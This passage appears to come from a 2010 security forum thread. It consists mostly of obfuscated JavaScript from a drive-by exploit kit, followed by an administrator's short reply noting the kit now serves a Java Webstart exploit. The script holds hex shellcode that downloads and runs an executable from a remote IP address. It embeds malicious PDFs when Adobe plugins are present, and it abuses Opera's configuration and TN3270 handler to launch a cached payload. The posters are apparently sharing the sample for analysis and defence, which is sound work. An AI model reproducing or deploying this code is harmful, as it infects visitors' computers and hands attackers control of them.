qrflmviynhiswoavyc += '<param name="sc" value="505351525657559CE8000000005D83ED0D31C064034030780C8B400C8B701CAD8B4008EB098B40348D407C8B403C5657BE5E01000001EEBF4E01000001EFE8D60100005F5E89EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356302000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C278020000526A00FFD06A0589EA81C25E01000052FF955A01000089EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356E02000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C2A6020000526A00FFD06A0589EA81C25E01000052FF955A0100009D5D5F5E5A595B58C30000000000000000000000000000000047657454656D705061746841004C6F61644C696272617279410047657450726F63416464726573730057696E4578656300BB89F289F730C0AE75FD29F789F931C0BE3C00000003B51B02000066AD03851B0200008B707883C61C03B51B0200008DBD1F020000AD03851B020000ABAD03851B02000050ABAD03851B020000AB5E31DBAD5603851B02000089C689D751FCF3A65974045E43EBE95E93D1E003852702000031F69666ADC1E00203851F02000089C6AD03851B020000C3EB100000000000000000000000000000000089851B0200005657E858FFFFFF5F5EAB01CE803EBB7402EBEDC355524C4D4F4E2E444C4C0055524C446F776E6C6F6164546F46696C6541007064667570642E6578650063726173682E70687000687474703A2F2F39312E3231312E3131372E38372F636C69656E742F6C6F61642E7068703F73706C3D6A61766126623D6F70266F3D787026693D6A6176610090">';

qrflmviynhiswoavyc += '<param name="np" value="90909090"></applet>';

var vvcexlzqfghsqrkvcw = document.createElement("div");

vvcexlzqfghsqrkvcw.innerHTML = qrflmviynhiswoavyc;

document.body.appendChild(vvcexlzqfghsqrkvcw);

}

uVesuvYpYXELEMa();

}


function uVesuvYpYXELEMa(){



var qdwbpyqricwfdmrzkpmim  = false;

if (navigator.plugins && navigator.plugins.length)

{

for (var zqojkhvgfpsimuxllotnl = 0; zqojkhvgfpsimuxllotnl < navigator.plugins.length; zqojkhvgfpsimuxllotnl++)

{

if (navigator.plugins[zqojkhvgfpsimuxllotnl].description.indexOf('Adobe Acrobat') !=- 1) {

qdwbpyqricwfdmrzkpmim = true;

break;

}

if (navigator.plugins[zqojkhvgfpsimuxllotnl].description.indexOf('Adobe PDF') !=- 1) {

qdwbpyqricwfdmrzkpmim = true;

break;

}

}

if (qdwbpyqricwfdmrzkpmim){

var nqyqqigdqtlghuropxtfq = document.createElement('embed');

nqyqqigdqtlghuropxtfq.setAttribute('src', './pdf.php?pdf=CE5E1C35E8D8BFBA6109C52F5A9C6EF6&type=1&o=xp&b=op');

nqyqqigdqtlghuropxtfq.setAttribute('width', 89);

nqyqqigdqtlghuropxtfq.setAttribute('height', 55);

nqyqqigdqtlghuropxtfq.setAttribute('style', 'border:none');

nqyqqigdqtlghuropxtfq.setAttribute('type', 'application/pdf');

document.body.appendChild(nqyqqigdqtlghuropxtfq);

}else{

unyZUhUWeMYMuSa();

return;

}

}

setTimeout("unyZUhUWeMYMuSa();", 2500);

}


function unyZUhUWeMYMuSa(){

zejszofloeiivwfyksfwvub = document.createElement('iframe');

zejszofloeiivwfyksfwvub.src = 'about:blank';

zejszofloeiivwfyksfwvub.setAttribute('id', 'yheldkirznasmoyxdcgmydr');

zejszofloeiivwfyksfwvub.setAttribute('style', 'display:none');

document.appendChild(zejszofloeiivwfyksfwvub);

yheldkirznasmoyxdcgmydr.eval

("xnjcjfwldepphzxyzlzsxoq = document.createElement('iframe');\

xnjcjfwldepphzxyzlzsxoq.setAttribute('id', 'wasrpazfzaxvdziwnupvdss');\

xnjcjfwldepphzxyzlzsxoq.src = 'opera:config';\

document.appendChild(xnjcjfwldepphzxyzlzsxoq);\

yssceqfvntfpckmooqddxdb = document.createElement('script');\

zdnvvkklgcejgvpciiixktj = document.createElement('iframe');\

yssceqfvntfpckmooqddxdb.src = 'http://91.211.117.87/client/load.php?spl=other&b=op&o=xp&i=TN3270';\

yssceqfvntfpckmooqddxdb.onload = function ()\

{\

zdnvvkklgcejgvpciiixktj.src = 'opera:cache';\

zdnvvkklgcejgvpciiixktj.onload = function ()\

{\

shaclxgnukaqflarscvbjrq = zdnvvkklgcejgvpciiixktj.contentDocument.childNodes[0].innerHTML.toUpperCase();\

var zzzuxjngjvhlhesvycwoiip = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+yssceqfvntfpckmooqddxdb.src.toUpperCase(), '');\

xasvcbmtomsijcwqlsxxabp = shaclxgnukaqflarscvbjrq.match(zzzuxjngjvhlhesvycwoiip);\

wasrpazfzaxvdziwnupvdss.eval\

(\"\

opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.xasvcbmtomsijcwqlsxxabp[1]);\

zdlqblsrgsjyikynjzlfckn = document.createElement('a');\

zdlqblsrgsjyikynjzlfckn.setAttribute('href', 'tn3270://nothing');\

zdlqblsrgsjyikynjzlfckn.click();\

setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\

\");\

};\

document.appendChild(zdnvvkklgcejgvpciiixktj);\

};\

document.appendChild(yssceqfvntfpckmooqddxdb);");

aTEREjyWYQabESa();

}


function aTEREjyWYQabESa(){

rywcqmsxycu = false;



if (navigator.plugins && navigator.plugins.length){

for (var meyvhebvlzd = 0; meyvhebvlzd < navigator.plugins.length; meyvhebvlzd++){

if (navigator.plugins[meyvhebvlzd].description.indexOf('Adobe PDF')!= -1){

rywcqmsxycu = true;

break;

}

}

if (rywcqmsxycu){

var tewqdiytrzr = document.createElement('embed');

tewqdiytrzr.setAttribute('src', './pdf.php?pdf=CE5E1C35E8D8BFBA6109C52F5A9C6EF6&type=2');

tewqdiytrzr.setAttribute('width', 73);

tewqdiytrzr.setAttribute('height', 10);

tewqdiytrzr.setAttribute('style', 'border:none');

tewqdiytrzr.setAttribute('type', 'application/pdf');

document.body.appendChild(tewqdiytrzr);

}else{

aPemULABAqEtyGA();

return;

}

}

setTimeout("aPemULABAqEtyGA();", 1500);

}

EtAnygUNyHuVere();
</script><noscript></noscript>

May 29, 2010, 03:07:54 pm
Reply #14

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
CRiMEPACK now serving Java Webstart exploit

Code: [Select]
hxxp://91.211.117.87/client/index.php worked yesterday, now giving 403

They only allow access once per IP. You'll need to change your IP to access it again.
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net